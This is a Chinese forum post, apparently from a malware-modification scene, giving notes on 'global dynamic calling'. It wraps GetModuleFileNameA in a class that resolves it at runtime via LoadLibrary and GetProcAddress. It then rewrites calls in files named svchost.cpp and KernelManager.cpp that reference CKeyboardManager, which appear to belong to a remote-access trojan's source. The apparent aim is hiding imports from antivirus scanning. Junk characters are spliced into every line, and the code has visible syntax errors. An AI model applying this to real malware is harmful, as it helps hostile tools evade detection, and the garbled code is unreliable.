[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
( |& P: d1 D' C) m7 {  Ksvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h/ d+ j# C9 ?+ P3 Z  P
----------------------------------------
4 _, w5 z3 l8 Q* y$ [8 \1 d8 oDTDY.h：
( r0 U& D/ c' i; H) o( d* l: i) B+ J6 h) l$ ]
#if _MSC_VER>1000
) y) |7 y$ |7 ?- \4 q$ J  D#pragma once( Y7 F* C* j  R* Q
#endif //_MSC_VER>1000
% h) Y% Z  p( a" l#include<windows.h>- x" L  e# H- H- \* _

& s& P$ A5 |2 w2 n8 X8 n& Otypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);6 T" r( B# t7 t9 h) v" _4 x
class DTDY* L, m& F: s! y$ K5 d, M2 T
{
* e/ t, a9 `  C$ e5 opublic:  j* k8 i) h& {
DTDY();
  E+ L) x- b6 A2 Ivirtual ~DTDY();
4 F7 U* O( s0 O4 Q5 lpublic:
& R' G( b& A6 |& Q6 xstatic pGetModuleFileNameA MyGetModuleFileName;
0 b3 s' T- a( f( Astatic BOOL FunInitiallization();9 ~% u7 X; O3 M' k( i; q% A) P
};3 }3 U6 D$ y) k3 e3 \
#endif
; d# T# @/ f( u+ }- i3 C* t" U2 _----------------------------------------/ ~+ Y& ^2 z" \" k* n
/ q$ ]( X) M5 @* r( [" {
DTDY.cpp:& T! t- l7 p" C

* Q+ @# S5 f  P& M2 K#include "DTDY.h"
- Q2 \/ z4 N/ O/ r( m( p  [5 ZpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;# X6 V: r4 X/ O6 @
DTDY:TDY()
' j4 Z6 }2 v. I* S{
3 B& H: [" R! d3 H' X}
! c" v; e% n0 O$ xDTDY::~DTDY()9 Z0 n' o- ]2 ^; ~5 |
{+ E8 t& ?" o& X- X) s
}
4 R* t- c! d: @4 d7 U. dBOOL DTDY::FunInitiallization()
8 W, {$ o4 z# X- g/ t2 t# q{
! N4 O$ ?! n5 A- h4 u6 t: }/ |" _& AHMODULE hModule=LoadLibrary("kernel32.dll");
$ o6 e5 o! W: u0 V# EMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
: [( p" G0 o& t- Y7 Uif(!MyGetModuleFileName=) return FALSE;5 a! }# G) g8 Y# {, K
3 _( `7 p& e6 d+ e8 g" k
return TRUE;0 `2 }6 b" J& y
}
3 F# J% {) Y" c( R----------------------------------------
( ^+ s& J- o# {/ X7 Psvchost.cpp:
" K6 A' W) B+ d* @' W& T, W0 _. u( m8 ^" k
#include "DTDY.h"
: c6 n9 J, ]( \4 O5 u6 a. M/ m
' @  y- n; @) X! b; h  FBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
- _+ n  e( A, R* N+ X# o+ j{
) V2 w/ L1 [1 G* {switch(ul_reason_for_call)5 M. M1 ~! T' a
{' ^' Y  m# {8 \8 O- @8 Z5 z  s
case DLL_PROCESS_ATTACH:
$ t4 u* B$ a) N, dif(!DTDY::FunInitiallization()) return FALSE;
+ `6 _5 v9 ^% n
' o4 T9 b' P/ [6 q. t: ?& e0 ~break;! P( f7 l, P; R$ C# D0 O; S
}! r) }3 }$ f+ F' B/ P
}
' `' e2 z! p9 o0 c% M; Q0 q7 v0 S) Q) |

# S0 }% j0 ?2 I5 [7 IGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def- r+ q7 S+ ~( D: U
改写为! I; f6 u  j; t3 ]
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 P" N: H1 U- k" C- D
----------------------------------------5 \) p; R3 @( r9 l  k% o% K  k6 a( H. [5 l
KernelManager.cpp:
( D( x  T/ L4 E* F6 d$ [
. i5 y) S  N# ]; ~# V  M( m#include "../DTDY.h"5 z' m6 ?: u+ K2 C* m% J
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));, y* [7 q+ U) P! f, k- e
改写为
2 W) m% e$ d+ B' A6 IDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
9 d# n' J: Q2 U( d----------------------------------------